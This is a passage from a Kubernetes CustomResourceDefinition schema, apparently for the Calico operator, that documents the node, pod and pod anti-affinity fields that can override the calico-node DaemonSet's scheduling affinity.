                                    If specified, this overrides any affinity that may be set on the calico-node DaemonSet.
                                    If omitted, the calico-node DaemonSet will use its default value for affinity.
                                    WARNING: Please note that this field will override the default calico-node DaemonSet affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
